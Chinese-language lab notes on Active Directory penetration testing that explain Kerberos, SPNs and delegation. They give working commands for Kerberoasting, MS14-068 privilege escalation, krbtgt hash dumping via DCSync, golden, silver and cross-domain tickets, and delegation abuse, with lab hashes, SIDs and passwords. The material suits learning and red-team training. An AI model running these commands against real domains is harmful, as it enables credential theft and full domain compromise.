AD域渗透测试笔记

0X00  域渗透-Kerberos

1.Kerberos简介

在Kerberos认证中，最主要的问题是如何证明“你是你”的问题，如当一个Client去访问Server服务器上的某服务时，Server如何判断Client是否有权限来访问自己主机上的服务，同时保证在这个过程中的通讯内容即使被拦截或篡改也不影响通讯的安全性，这正是Kerberos解决的问题。在域渗透过程中Kerberos协议的攻防也是很重要的存在。

2.Kerberos协议框架

在Kerberos协议中主要是有三个角色的存在：

  • 访问服务的Client
  • 提供服务的Server
  • KDC（Key Distribution Center）密钥分发中心

    其中KDC服务默认会安装在一个域的域控中，而Client和Server为域内的用户或者是服务，如HTTP服务，SQL服务。在Kerberos中Client是否有权限访问Server端的服务由KDC发放的票据来决定。

img

如果把Kerberos中的票据类比为一张火车票，那么Client端就是乘客，Server端就是火车，而KDC就是就是车站的认证系统。如果Client端的票据是合法的（由你本人身份证购买并由你本人持有）同时有访问Server端服务的权限（车票对应车次正确）那么你才能上车。当然和火车票不一样的是Kerberos中有存在两张票，而火车票从头到尾只有一张。

由上图中可以看到KDC又分为两个部分：

Authentication Server： AS的作用就是验证Client端的身份（确定你是身份证上的本人），验证通过就会给一张TGT（Ticket Granting Ticket）票给Client。

Ticket Granting Server： TGS的作用是通过AS发送给Client的票（TGT）换取访问Server端的票（上车的票ST）。ST（ServiceTicket）也有资料称为TGS Ticket，为了和TGS区分，在这里就用ST来说明。

img

KDC服务框架中包含一个KRBTGT账户，它是在创建域时系统自动创建的一个账号，可以暂时理解为他就是一个无法登陆的账号。

1566292231162

3.Kerberos认证

流程当Client想要访问Server上的某个服务时，需要先向AS证明自己的身份，然后通过AS发放的TGT向Server发起认证请求，这个过程分为三块：

The Authentication Service Exchange：Client与AS的交互

The Ticket-Granting Service (TGS) Exchange：Client与TGS的交互

The Client/Server Authentication Exchange：Client与Server的交互

img

(1)TheAuthentication Service Exchange

KRB_AS_REQ

Client->AS：发送 Authenticator1(Client 密码加密 TimeStamp)

第一步 Client 先向 KDC 的 AS 发送 Authenticator1，内容为通过 Client 密码 Hash 加密的时间戳、ClientID、网络地址、加密类型等内容。

KRB_AS_REP

AS-> Client：发送 Client 密码加密的 sessionkey-as 和票据 TGT(KRBTGT HASH 加密的 sessionkey-as 和 TimeStamp)

在 KDC 中存储了域中所有用户的密码 HASH，当 AS 接收到 Client 的请求之后会根据 KDC 中存储的密码来解密，解密成功并且验证信息。验证成功后返回给 Client 由 Client 密码 HASH 加密的 sessionkey-as 和 TGT（由 KRBTGT HASH 加密的 sessionkey-as 和 TimeStamp 等信息）。

(2)TheTicket-Granting Service (TGS) Exchange

KRB_TGS_REQ

Client ->TGS 发送 Authenticator2 (sessionkey-as 加密 TimeStamp) 和票据 TGT(KRBTGT HASH 加密的 sessionkey-as 和 TimeStamp)

Client 接收到了加密后的 Sessionkey-as 和 TGT 之后，用自身密码解密得到 Sessionkey-as，TGT 是由 KDC 密码加密，Client 无法解密。这时 Client 再用 Sessionkey-as 加密 TimeStamp 和 TGT 一起发送给 KDC 中的 TGS（TicketGranting Server）票据授权服务器换取能够访问 Server 的票据。

KRB_TGS_REP

TGS-> Client 发送 密文 1(sessionkey-as 加密 sessionkey-tgs) 和 票据 ST(Server 密码 HASH 加密 sessionkey-tgs)

TGS 收到 Client 发送过来的 TGT 和 Sessionkey-as 加密的 TimeStamp 之后，首先会检查自身是否存在 Client 所请求的服务。如果服务存在，则用 KRBTGT 密码解密 TGT。一般情况下 TGS 会检查 TGT 中的时间戳查看 TGT 是否过期，且原始地址是否和 TGT 中保存的地址相同。验证成功之后将用 sessionkey-as 加密的 sessionkey-tgs 和 Server 密码 HASH 加密的 Sessionkey-tgs 发送给 Client。

(3)TheClient/Server Authentication Exchange

KRB_AP_REQ

Client ->Server 发送 Authenticator3(sessionkey-tgs 加密 TimeStamp) 和票据 ST(Server 密码 HASH 加密 sessionkey-tgs)

Client 收到 sessionkey-as 加密的 sessionkey-tgs 和 Server 密码 HASH 加密的 sessionkey-tgs 之后用 sessionkey-as 解密得到 sessionkey-tgs，然后把 sessionkey-tgs 加密的 TimeStamp 和 ST 一起发送给 Server。

KRB_AP_REP

Server-> Client

server 通过自己的密码解密 ST，得到 sessionkey-tgs, 再用 sessionkey-tgs 解密 Authenticator3 得到 TimeStamp，验证正确返回验证成功。


0X01 域渗透-SPN

1.SPN 简介

服务主体名称（SPN：ServicePrincipal Names）是服务实例（可以理解为一个服务，比如 HTTP、MSSQL）的唯一标识符。Kerberos 身份验证使用 SPN 将服务实例与服务登录帐户相关联。如果在整个林或域中的计算机上安装多个服务实例，则每个实例都必须具有自己的 SPN。如果客户端可能使用多个名称进行身份验证，则给定服务实例可以具有多个 SPN。SPN 始终包含运行服务实例的主机的名称，因此服务实例可以为其主机的每个名称或别名注册 SPN。

如果用一句话来说明的话就是如果想使用 Kerberos 协议来认证服务，那么必须正确配置 SPN。

2.SPN 格式与配置

在 SPN 的语法中存在四种元素，两个必须元素和两个额外元素，其中和为必须元素：

<serviceclass>/<host>:<port>/<service name>

<service class>：标识服务类的字符串

<host>：服务所在主机名称

<port>：服务端口

<service name>：服务名称

例：

为 SQL Server 服务帐户注册SPN

手动注册：

setspn -A MSSQLSvc/myhost.redmond.microsoft.com:1433 accountname

对应的命名实例：

setspn -A MSSQLSvc/myhost.redmond.microsoft.com/instancename accountname

如果我想把域中一台主机Srv-DB-0day中的 MSSQL 服务注册到 SPN 中则可以使用命令：

setspn -A MSSQLSvc/Srv-DB-0day.Oday.org:1433 sqladmin

可以通过下面两个命令来查看已经注册的 SPN。

setspn -q */* 
setspn -T 0day.org -q */*

1566305048964

1566305093686

3.SPN扫描

在了解了 Kerberos 和 SPN 之后，可以通过 SPN 来获取想要的信息，比如想知道域内哪些主机安装了什么服务，就不需要再进行批量的网络端口扫描。在一个大型域中通常会有不止一个的服务注册 SPN，所以可以通过「SPN 扫描」的方式来查看域内的服务。相对于通常的网络端口扫描的优点是不用直接和服务主机建立连接，且隐蔽性更高。

4.扫描工具

GetUserSPNs

GetUserSPNs 是 Kerberoast 工具集中的一个 powershell 脚本，用来查询域内注册的 SPN。

Import-module .\GetUserSPNs.ps1

1566310253643

PowerView

PowerView 是由 Will Schroeder（https://twitter.com/harmj0y）开发的 Powershell 脚本，在 Powersploit 和 Empire 工具里都有集成，PowerView 相对于上面几种是根据不同用户的 objectsid 来返回，返回的信息更加详细。

Import-module .\powerview.ps1
Get-NetUser -SPN

1566311054973

5.原理说明

在 SPN 扫描时可以直接通过脚本，或者命令去获悉内网已经注册的 SPN 内容。那如果想了解这个过程是如何实现的，就需要提到 LDAP 协议。

LDAP 协议全称是 LightweightDirectory Access Protocol，一般翻译成轻量目录访问协议。是一种用来查询与更新 Active Directory 的目录服务通信协议。AD 域服务利用 LDAP 命名路径（LDAP naming path）来表示对象在 AD 内的位置，以便用它来访问 AD 内的对象。

LDAP 数据的组织方式：

img

更直观的说可以把 LDAP 协议理解为一个关系型数据库，其中存储了域内主机的各种配置信息。

在域控中默认安装了 ADSI 编辑器，全称 ActiveDirectory Service Interfaces Editor (ADSI Edit)，是一种 LDAP 的编辑器，可以通过在域控中运行 adsiedit.msc 来打开（服务器上都有，但是只有域控中的有整个域内的配置信息）。

1566312270376

通过 adsiedit.msc 我们可以修改和编辑 LADP，在 SPN 查询时实际上就是查询 LADP 中存储的内容。

比如在我们是实验环境域 0day.org中，存在名为运维组 的一个 OU（OrganizationUnit，可以理解为一个部门，如行政、财务等等），其中包含了 sqlsvr 这个用户，从用户属性中可以看到 sqlsvr 注册过的 SPN 内容。

1566312646927

在一台主机执行

setspn -T 0day.org -q */*

命令查询域内 SPN 时，通过抓包可以看到正是通过 LDAP 协议向域控中安装的 LDAP 服务查询了 SPN 的内容。

如图在主机192.168.3.62上执行目录，在域控192.168.3.142可以看到LDAP协议的流量。

1566315225924

流量中的查询结果：

1566315297166

Powershell 脚本其实主要就是通过查询 LDAP 的内容并对返回结果做一个过滤，然后展示出来。

6.Kerberoasting

介绍 Kerberos 的认证流程时说到，在 KRB_TGS_REP 中，TGS 会返回给 Client 一张票据 ST，而 ST 是由 Client 请求的 Server 端密码进行加密的。当 Kerberos 协议设置票据为 RC4 方式加密时，我们就可以通过爆破在 Client 端获取的票据 ST，从而获得 Server 端的密码。

下图为设置 Kerberos 的加密方式，在域中可以在域控的「本地安全策略」中进行设置：

1566351683199

设置RC4 方式加密。

1566351735173

设置完成之后运行里输入「gpupdate」刷新组策略，策略生效。

7.Kerberoasting攻击方式一

一、在域内主机 PC-Jack 中通过 Kerberoast 中的 GetUserSPNs.vbs 进行 SPN 扫描。

cscript GetUserSPNs.vbs

1566365425645

二、根据扫描出的结果使用微软提供的类 KerberosRequestorSecurityToken 发起 kerberos 请求，申请 ST 票据。

PS C:\> Add-Type -AssemblyName System.IdentityModel  
PS C:\> New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/Srv-Web-Kit.rootkit.org"

1566365452567

三、Kerberos 协议中请求的票据会保存在内存中，可以通过 klist 命令查看当前会话存储的 kerberos 票据。

1566365516959

使用 mimikatz 导出。

kerberos::list /export

1566365758402

使用 kerberoast 工具集中的 tgsrepcrack.py 工具进行离线爆破，成功得到jerry账号的密码admin!@#45

python2 tgsrepcrack.py wordlist.txt "1-40a10000-jerry@MSSQLSvc~Srv-Web-Kit.rootkit.org-ROOTKIT.ORG.kirbi"

1566366235728

8.Kerberoasting攻击方式二

Kerberoasting攻击方式一中需要通过 mimikatz 从内存中导出票据，Invoke-Kerberoast 通过提取票据传输时的原始字节，转换成 John the Ripper 或者 HashCat 能够直接爆破的字符串。

使用 Invoke-Kerberoast 脚本 (这里使用的是 Empire 中的 Invoke-Kerberoast.ps1)。

Import-module Invoke-Kerberoast.ps1
Invoke-kerberoast -outputformat hashcat |fl

–outputformat 参数可以指定输出的格式，可选 John the Ripper 和 Hashcat 两种格式

1566368713159

二、使用 HASHCAT 工具进行破解：

PSC:> hashcat64.exe –m 13100 test1.txt password.list --force

1566369553181

9.Impacket 进行Kerberoasting

这里要用到impacket工具包，该工具包用于对SMB1-3或IPv4 / IPv6 上的TCP、UDP、ICMP、IGMP，ARP，IPv4，IPv6，SMB，MSRPC，NTLM，Kerberos，WMI，LDAP等协议进行低级编程访问。这里我们使用的是GetUserSPNs工具，可使用该工具对目标主机进行SPN探测。

https://github.com/SecureAuthCorp/impacket               官方仓库https://github.com/maaaaz/impacket-examples-windows      有人已将各个脚本打包成相应的exe,此处绝大部分也都将全部用这些exe单文件来进行操作

其命令用法如下：

python GetUserSPNs.py -request -dc-ip x.x.x.x 域名称/域用户

输入当前域用户的密码，即可的到票据。

1566370994765

同样对票据进行爆破。

hashcat64.exe –m 13100 test1.txt password.list --force

1566371165660


0X02  域渗透-MS14-068

1.MS14-068

MS14068是一个能够使普通用户提权到域控权限的权限提升漏洞。攻击者可以通过构造特定的请求包来达到提升权限的目的。

2.利用方式

攻击流程：

MS14-068对应的补丁为KB3011780，可在域控上通过systeminfo查看是否安装此补丁。

1566485511263

一、在域内主机jerry上通过dir来访问域控的共享文件夹，示拒绝访问。

dir \\OWA2010SP3.0day.org\c$

1566485577139

二、通过Pykek工具利用漏洞，我这里使用的是将python脚本编译之后的exe文件。

参数说明：

-u 域账号+@+域名称，这里是jerry+@+rootkit.org

-p 为当前用户的密码，即jerry的密码

-s为jerry的SID值，可以通过whoami/all来获取用户的SID值

-d为当前域的域控

1566485661082

MS14-068.exe -u sqladmin@0day.org -p admin!@#45 -s S-1-5-21-1812960810-2335050734-3517558805-1142 -d OWA2010SP3.0day.org

1566485702304

脚本执行成功会在当前目录下生成一个ccache文件。

1566485729199

三、使用mimikatz导入生成的ccache文件，导入之前cmd下使用命令klist purge或者在mimikatz中使用kerberos::purge删除当前缓存的kerberos票据。

klist purge

1566485815936

kerberos::ptc TGT_sqladmin@0day.org.ccache

1566485894244

再次dir访问域控共享就可以成功访问。

dir \\OWA2010SP3.0day.org\c$

1566485986373

3.goldenPac.exe

impacket工具包里面的goldenPac.py，这个工具是结合ms14-068加psexec的产物，利用起来十分顺手。

这里用到的是编译的exe文件。

goldenPac.exe 0day.org/sqladmin:admin!@#45@OWA2010SP3.0day.org

1566486417839

当然此工具不止是得到一个shell，我们甚至可以直接让该域控运行我们上传的程序。

这个漏洞中主要的问题是存在于KDC会根据客户端指定PAC中数字签名的加密算法，以及PAC的加密算法，来校验PAC的合法性。这使得攻击者可通过伪造PAC，修改PAC中的SID，导致KDC判断攻击者为高权限用户，从而导致权限提升漏洞的产生。

0X03 域渗透-Ticket

1.GoldenTicket

简介

Golden Ticket（下面称为金票）是通过伪造的TGT（TicketGranting Ticket），因为只要有了高权限的TGT，那么就可以发送给TGS换取任意服务的ST。可以说有了金票就有了域内的最高权限。

制作金票的条件：

1、域名称

2、域的SID值

3、域的KRBTGT账户密码HASH

4、伪造用户名，可以是任意的

利用过程

金票的生成需要用到krbtgt的密码HASH值，可以通过mimikatz中的

lsadump::dcsync /OWA2010SP3.0day.org /user:krbtgt

命令获取krbtgt的值。

1566542295163

得到KRBTGT HASH之后使用mimikatz中的kerberos::golden功能生成金票golden.kiribi，即为伪造成功的TGT。

参数说明：

/admin：伪造的用户名

/domain：域名称

/sid：SID值，注意是去掉最后一个-后面的值

/krbtgt：krbtgt的HASH值

/ticket：生成的票据名称

kerberos::golden /admin:administrator /domain:0day.org /sid:S-1-5-21-1812960810-2335050734-3517558805 /krbtgt:36f9d9e6d98ecf8307baf4f46ef842a2 /ticket:golden.kiribi

1566543225966

通过mimikatz中的kerberos::ptt功能（Pass The Ticket）将golden.kiribi导入内存中。

kerberos::purge
kerberos::ptt golden.kiribi
kerberos::list

1566542805439

此时就可以通过dir成功访问域控的共享文件夹。

dir \\OWA2010SP3.0day.org\c$

1566543260644

2.SilverTickets

简介

Silver Tickets（下面称银票）就是伪造的ST（Service Ticket），因为在TGT已经在PAC里限定了给Client授权的服务（通过SID的值），所以银票只能访问指定服务。

制作银票的条件：

1.域名称

2.域的SID值

3.域的服务账户的密码HASH（不是krbtgt，是域控）

4.伪造的用户名，可以是任意用户名，这里是silver

利用过程

首先我们需要知道服务账户的密码HASH，这里同样拿域控来举例，通过mimikatz查看当前域账号administrator的HASH值。注意，这里使用的不是Administrator账号的HASH，而是OWA2010SP3$的HASH

sekurlsa::logonpasswords

1566649973247

这时得到了OWA2010SP3$的HASH值，通过mimikatz生成银票。

参数说明：

/domain：当前域名称

/sid：SID值，和金票一样取前面一部分

/target：目标主机，这里是OWA2010SP3.0day.org

/service：服务名称，这里需要访问共享文件，所以是cifs

/rc4：目标主机的HASH值

/user：伪造的用户名

/ptt：表示的是Pass TheTicket攻击，是把生成的票据导入内存，也可以使用/ticket导出之后再使用kerberos::ptt来导入

kerberos::golden /domain:0day.org /sid:S-1-5-21-1812960810-2335050734-3517558805 /target:OWA2010SP3.0day.org /service:cifs /rc4:125445ed1d553393cce9585e64e3fa07 /user:silver /ptt

1566654188946

这时通过klist查看当前会话的kerberos票据可以看到生成的票据。

1566654225879

使用dir \\OWA2010SP3.0day.org\c$访问DC的共享文件夹。

1566654265383

3.EnhancedGolden Tickets

在Golden Ticket部分说明可利用krbtgt的密码HASH值生成金票，从而能够获取域控权限同时能够访问域内其他主机的任何服务。但是普通的金票不能够跨域使用，也就是说金票的权限被限制在当前域内。

域树与域林

在下图中 UKNOWSEC.CN 为其他两个域的根域，NEWS.UKNOWSEC.CN和 DEV.UKNOWSEC.CN 均为 UKNOWSEC.CN的子域，这三个域组成了一个域树。子域的概念可以理解为一个集团在不同业务上分公司，他们有业务重合的点并且都属于 UKNOWSEC.CN这个根域，但又独立运作。同样 TEST.COM 也是一个单独的域树，两个域树 UKONWSE.CN 和 TEST.CN 组合起来被称为一个域林。

1566656866798

4.普通金票的局限性

在上图中说到UKNOWSEC.CN为其他两个域（NEWS.UKNOWSEC.CN和DEV.UKNOWSEC.CN）的根域，根域和其他域的最大的区别就是根域对整个域林都有控制权。而域正是根据Enterprise Admins组来实现这样的权限划分。

Enterprise Admins组

EnterpriseAdmins组是域中用户的一个组，只存在于一个林中的根域中，这个组的成员，这里也就是UKNOWSEC.CN中的Administrator用户（不是本地的Administrator，是域中的Administrator）对域有完全管理控制权。

UKNOWSEC.CN的域控上Enterprise Admins组的RID为519.

Domain Admins组

子域中是不存在EnterpriseAdmins组的，在一个子域中权限最高的组就是Domain Admins组。NEWS.UKNOWSEC.CN这个子域中的Administrator用户，这个Administrator有当前域的最高权限。

5.突破限制

普通的黄金票据被限制在当前域内，在2015年Black Hat USA中国外的研究者提出了突破域限制的增强版的黄金票据。通过域内主机在迁移时LDAP库中的SIDHistory属性中保存的上一个域的SID值制作可以跨域的金票。

如果知道根域的SID那么就可以通过子域的KRBTGT的HASH值，使用mimikatz创建具有 EnterpriseAdmins组权限（域林中的最高权限）的票据。

然后通过mimikatz重新生成包含根域SID的新的金票

kerberos::golden /admin:administrator /domain:news.uknowsec.cn /sid:XXX /sids:XXX /krbtgt:XXX /startoffset:0 /endin:600 /renewmax:10080 /ptt

Startoffset和endin分别代表偏移量和长度，renewmax表示生成的票据的最长时间。

注意这里是不知道根域UKONWSEC.CN的krbtgt的密码HASH的，使用的是子域NEWS.UKNOWSEC.CN中的KRBTGT的密码HASH。

然后就可以通过dir访问DC. UKNOWSEC的共享文件夹，此时的这个票据票是拥有整个域林的控制权的。

6.Reference

https://www.freebuf.com/articles/system/196434.html


0X04 域渗透-Delegation

1.委派

在域中如果出现A使用Kerberos身份验证访问域中的服务B，而B再利用A的身份去请求域中的服务C，这个过程就可以理解为委派。

img

User访问主机s2上的HTTP服务，而HTTP服务需要请求其他主机的SQLServer数据库，但是S2并不知道User是否有权限访问SQLServer，这时HTTP服务会利用User的身份去访问SQLServer，如果User有权限访问SQLServer服务才能访问成功。

而委派主要分为非约束委派（Unconstraineddelegation）和约束委派（Constrained delegation）两个方式。

2.非约束委派

非约束委派在Kerberos中实现时，User会将从KDC处得到的TGT发送给访问的service1（可以是任意服务），service1拿到TGT之后可以通过TGT访问域内任意其他服务，所以被称为非约束委派。

img

流程：

  1. 用户通过发送KRB_AS_REQ消息请求可转发 TGT（forwardable TGT，为了方便我们称为TGT1）。
  2. KDC在KRB_AS_REP消息中返回TGT1。
  3. 用户再通过TGT1向KDC请求转发TGT（forwardedTGT，我们称为TGT2）。
  4. 在KRB_TGS_REP消息中返回转发TGT2。
  5. 用户使用TGT1向KDC申请访问Service1的ST（ServiceTicket）。
  6. TGS返回给用户一个ST。
  7. 用户发送KRB_AP_REQ请求至Service1，这个请求中包含了TGT1和ST、TGT2、TGT2的SessionKey。
  8. Service1使用用户的TGT2通过KRB_TGS_REQ发送给KDC，以用户的名义请求能够访问Service2的票据。
  9. KDC在KRB_TGS_REP消息中返回Service2到Service1的票据。
  10. Service1以用户的名义像Service2发送KRB_AP_REQ请求。
  11. Service2响应步骤10中Service1的请求。
  12. Service1响应步骤7中用户的请求。
  13. 在这个过程中的TGT转发机制，没有限制Service1对TGT2的使用，也就是说Service1可以通过TGT2来请求任意服务。
  14. KDC返回步骤13中请求的票据。

15和16即为Service1通过模拟用户来访问其他Service。

可以看到在前5个步骤中User向KDC申请了两个TGT（步骤2和4），一个用于访问Service1一个用于访问Service2，并且会将这两个都发给Service1。并且Service1会将TGT2保存在内存中。

非约束委派的设置：

Windows域中可以直接在账户属性中设置：

1566916812731

3.约束委派

由于非约束委派的不安全性，微软在windows2003中发布了约束委派的功能。约束委派在Kerberos中User不会直接发送TGT给服务，而是对发送给service1的认证信息做了限制，不允许service1代表User使用这个TGT去访问其他服务。这里包括一组名为S4U2Self（Service for User to Self）和S4U2Proxy（Service forUser to Proxy）的Kerberos协议扩展。

从下图可以看到整个过程其实可以分为两个部分，第一个是S4U2Self的过程（流程1-4），第二个是S4U2Proxy的过程（流程5-10）。

img

流程：

  1. 用户向Service1发送请求。
  2. 这时在官方文档中的介绍是在这一流程开始之前Service1已经通过KRB_AS_REQ得到了用户用来访问Service1的TGT，然后通过S4U2self扩展模拟用户向KDC请求ST。
  3. KDC这时返回给Service1一个用于用户验证Service1的ST（我们称为ST1），并且Service1用这个ST1完成和用户的验证过程。
  4. Service1在步骤3使用模拟用户申请的ST1完成与用户的验证，然后响应用户。

注：这个过程中其实Service1是获得了用户的TGT和ST1的，但是S4U2Self扩展不允许Service1代表用户去请求其他的服务。

  1. 用户再次向Service1发起请求，此时Service1需要以用户的身份访问Service2。这里官方文档提到了两个点：

A.Service1已经验证通过，并且有一个有效的TGT。

B.Service1有从用户到Service1的forwardableST（可转发ST）。个人认为这里的forwardable ST其实也就是ST1。

  1. Service1代表用户向Service2请求一个用于认证Service2的ST（我们称为ST2）。用户在ST1中通过cname（client name）和crealm（client realm）字段标识。
  2. KDC在接收到步骤6中Service1的请求之后，会验证PAC（特权属性证书，在第一篇中有说明）的数字签名。如果验证成功或者这个请求没有PAC（不能验证失败），KDC将返回ST2给Service1，不过这个ST2中cname和crealm标识的是用户而不是Service1。
  3. Service1代表用户使用ST2请求Service2。Service2判断这个请求来自已经通过KDC验证的用户。
  4. Service2响应Service1的请求。
  5. Service1响应用户的请求。

在这个过程中，S4U2Self扩展的作用是让Service1代表用户向KDC验证用户的合法性，并且得到一个可转发的ST1。S4U2Proxy的作用可以说是让Service1代表用户身份通过ST1重新获取ST2，并且不允许Service1以用户的身份去访问其他服务。更多的细节可以参考官方的文档，和RFC4120的内容。

同时注意forwardable字段，有forwardable标记为可转发的是能够通过S4U2Proxy扩展协议进行转发的，如果没有标记则不能进行转发。

约束委派的配置：

可以在账户属性中将SRV-DB-ODAY的委派方式更改为约束委派

1566741406966

4.发现域中的委派主机或账户

在域中，可以通过PowerView脚本来搜索开启了委派的主机和用户。查询非约束委派主要是通过搜索userAccountControl属性包含ADS_UF_TRUSTED_FOR_DELEGATION的主机或账户。而约束委派则通过查询userAccountControl属性包含TRUSTED_TO_AUTH_FOR_DELEGATION的主机或用户。

非约束委派

通过Import-Module PowerView.ps1加载PowerView脚本之后使用下面的命令进行查询。

查询域中配置非约束委派的账户：

Get-NetUser -Unconstrained -Domain rootkit.org

查询域中配置非约束委派的主机：

Get-NetComputer -Unconstrained -Domain rootkit.org

约束委派

查询域中配置约束委派的账户：

Get-DomainUser -TrustedToAuth -Domain rootkit.org

查询域中配置约束委派的主机:

Get-DomainComputer -TrustedToAuth -Domain rootkit.org

6.委派攻击利用

非约束委派的利用

假设已经获取了一个已经配置了委派的账户权限或者是密码，现在我们通过这些条件来攻击其他账户。

在域中只有服务账户才能有委派功能，所以先把用户sqladmin设置为服务账号。

setspn -U -A variant/golden sqladmin

1566919031159

setspn -l sqladmin

查看配置成功。

1566919063736

然后在“AD用户和计算机”中将sqladmin设置为非约束委派模式

1566919256739

在域控上使用Administrator访问sqladmin所在主机Srv-Web-Kit的SMB服务。

dir \\Srv-Web-Kit.rootkit.org\c$

1566921302149

在Srv-Web-Kit上通过mimikatz可以导出Administrator发送过来的TGT内容。这里需要使用管理员权限打开mimikatz，然后通过privilege::debug命令提升权限，如果没有提升权限会报kuhl_m_sekurlsa_acquireLSA错误。再使用sekurlsa::tickets/export命令导出内存中所有的票据。

1566921630936

访问域控失败

1566921730332

通过

kerberos::ptt [0;a17510]-2-0-60a10000-Administrator@krbtgt-ROOTKIT.ORG.kirbi

命令将TGT内容导入到当前会话中。

1566921999832

导入之后已经可以访问域控的共享目录。也就是说每当存在用户访问tsvc的服务时，tsvc的服务就会将访问者的TGT保存在内存中，可以通过这个TGT访问这个TGT所属用户的所有服务。

1566922095168

约束委派的利用

假设已知配置了约束委派的账号，并且已知当前配置了约束委派的当前账户的密码。

  1. 确认账号sqladmin设置了约束委派。

1566959744980

  1. 使用kekeo对域控发起申请TGT的请求。

通过已知的账户名和明文密码对KDC发起请求，得到TGT。

tgt::ask /user:sqladmin /domain:rootkit.org /password:Admin12345 /ticket:sqladmin.kirbi

1566960698566

/user:当前用户名

/domain:所在域名

/password:当前用户名的密码

/ticket:生成票据名称。

  1. 使用kekeo申请TGS票据

    1566961060838

    tgs::s4u /tgt:TGT_sqladmin@ROOTKIT.ORG_krbtgt~rootkit.org@ROOTKIT.ORG.kirbi /user:administrator@rootkit.org /service:cifs/owa2013.rootkit.org

/tgt:上一步通过kekeo生成的tgt票据

/user:想要伪造的用户名写全称（用户名@域名）

/service:想要伪造访问的服务名（服务名/主机的FQDN名称)

  1. 使用mimikatz将生成的TGS文件导入到Kerberos凭据列表中

1566961661084

这时可以看到导入之后已经能够成功访问域控的共享文件（严格来说应该是非约束委派中设置的SPN的权限）。而且在这个过程中是不需要管理员权限的，只是用当前账户的权限就可以完成，因为不需要从内存中导出票据。

非约束委派去获得所设置的SPN的权限主要是三个步骤

1、请求TGT

2、请求TGS

3、将TGS导入内存

第1步，使用Kekeo发起AS-REQ请求去请求TGT。这时sqladmin获取到了一个TGT，并且kekeo工具将其保存为一个kirbi格式的文件。

第2步，再使用这个TGT申请两个ST文件，上文中说到过在约束委派实现的过程中分为两个部分，分别是S4U2Self扩展和S4U2Proxy扩展。S4U2Self中Service1会代替用户向KDC申请一张用于访问自身的TGS，这个TGS也就是生成的两个TGS中的一个（TGS_administrator@rootkit.org@ROOTKIT.ORG_sqladmin@ROOTKIT.ORG.kirbi）还有一个TGS是用于访问非受限委派中设置的SPN的TGS（TGS_administrator@rootkit.org@ROOTKIT.ORG_cifs~owa2013.rootkit.org@ROOTKIT.ORG.kirbi）。

关于约束委派的这种攻击方式就是通过在Service1（sqladmin）中将自己伪造成用户，然后获取允许约束委派的SPN的TGS的一个过程。

委派攻击的防御

通过上文中说到设置了非约束委派的账户权限如果被窃取那么攻击者可能获取非常多其他账户的TGT，所以最好是不要在域中使用非约束委派这种功能。

域中不需要使用委派的账户特别是administrator账户，设置为“敏感用户不能被委派”。

1566964360982


0X05 域渗透-域内信息收集

1.常用收集域信息命令

Net use
Net view
Tasklist /v
Ipconfig /all 
net group /domain 获得所有域用户组列表
net group “domain admins” /domain 获得域管理员列表
net group “enterprise admins” /domain 获得企业管理员列表
net localgroup administrators /domain 获取域内置administrators组用户（enterprise admins、domain admins）
net group “domain controllers” /domain 获得域控制器列表
net group “domain computers” /domain 获得所有域成员计算机列表
net user /domain 获得所有域用户列表
net user someuser /domain 获得指定账户someuser的详细信息
net accounts /domain 获得域密码策略设置，密码长短，错误锁定等信息
nltest /domain_trusts 获取域信任信息

2.SPN扫描

不同于常规的tcp/udp端口扫描，由于spn本质就是正常的Kerberos请求，所以扫描是非常隐蔽，日前针对此类扫描的检测暂时也比较少。

大部分win系统默认已自带spn探测工具即：setspn.exe

此操作无需管理权限

域内机器执行

setspn -T target.com -Q */*

可完整查出当前域内所有spn。

Checking domain DC=rootkit,DC=org
CN=OWA2013,OU=Domain Controllers,DC=rootkit,DC=org
	IMAP/OWA2013
	IMAP/OWA2013.rootkit.org
	IMAP4/OWA2013
	IMAP4/OWA2013.rootkit.org
	POP/OWA2013
	POP/OWA2013.rootkit.org
	POP3/OWA2013
	POP3/OWA2013.rootkit.org
	exchangeRFR/OWA2013
	exchangeRFR/OWA2013.rootkit.org
	exchangeMDB/OWA2013
	exchangeMDB/OWA2013.rootkit.org
	SMTP/OWA2013
	SMTP/OWA2013.rootkit.org
	SmtpSvc/OWA2013
	SmtpSvc/OWA2013.rootkit.org
	exchangeAB/OWA2013
	exchangeAB/OWA2013.rootkit.org
	Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04/OWA2013.rootkit.org
	ldap/OWA2013.rootkit.org/ForestDnsZones.rootkit.org
	ldap/OWA2013.rootkit.org/DomainDnsZones.rootkit.org
	TERMSRV/OWA2013
	TERMSRV/OWA2013.rootkit.org
	DNS/OWA2013.rootkit.org
	GC/OWA2013.rootkit.org/rootkit.org
	RestrictedKrbHost/OWA2013.rootkit.org
	RestrictedKrbHost/OWA2013
	RPC/58650e64-9681-4c62-b26e-7914b9041f72._msdcs.rootkit.org
	HOST/OWA2013/ROOTKIT
	HOST/OWA2013.rootkit.org/ROOTKIT
	HOST/OWA2013
	HOST/OWA2013.rootkit.org
	HOST/OWA2013.rootkit.org/rootkit.org
	E3514235-4B06-11D1-AB04-00C04FC2DCD2/58650e64-9681-4c62-b26e-7914b9041f72/rootkit.org
	ldap/OWA2013/ROOTKIT
	ldap/58650e64-9681-4c62-b26e-7914b9041f72._msdcs.rootkit.org
	ldap/OWA2013.rootkit.org/ROOTKIT
	ldap/OWA2013
	ldap/OWA2013.rootkit.org
	ldap/OWA2013.rootkit.org/rootkit.org
CN=krbtgt,CN=Users,DC=rootkit,DC=org
	kadmin/changepw
CN=dbadmin,OU=运维部,DC=rootkit,DC=org
	MSSQLSvc/Srv-Web-Kit.rootkit.org:1433
	MSSQLSvc/Srv-Web-Kit.rootkit.org
CN=SRV-WEB-KIT,CN=Computers,DC=rootkit,DC=org
	TERMSRV/SRV-WEB-KIT
	TERMSRV/Srv-Web-Kit.rootkit.org
	WSMAN/Srv-Web-Kit
	WSMAN/Srv-Web-Kit.rootkit.org
	RestrictedKrbHost/SRV-WEB-KIT
	HOST/SRV-WEB-KIT
	RestrictedKrbHost/Srv-Web-Kit.rootkit.org
	HOST/Srv-Web-Kit.rootkit.org
CN=PC-JERRY-KIT,CN=Computers,DC=rootkit,DC=org
	RestrictedKrbHost/PC-JERRY-KIT
	HOST/PC-JERRY-KIT
	RestrictedKrbHost/PC-jerry-Kit.rootkit.org
	HOST/PC-jerry-Kit.rootkit.org
CN=PC-MICLE-KIT,CN=Computers,DC=rootkit,DC=org
	RestrictedKrbHost/PC-MICLE-KIT
	HOST/PC-MICLE-KIT
	RestrictedKrbHost/PC-micle-Kit.rootkit.org
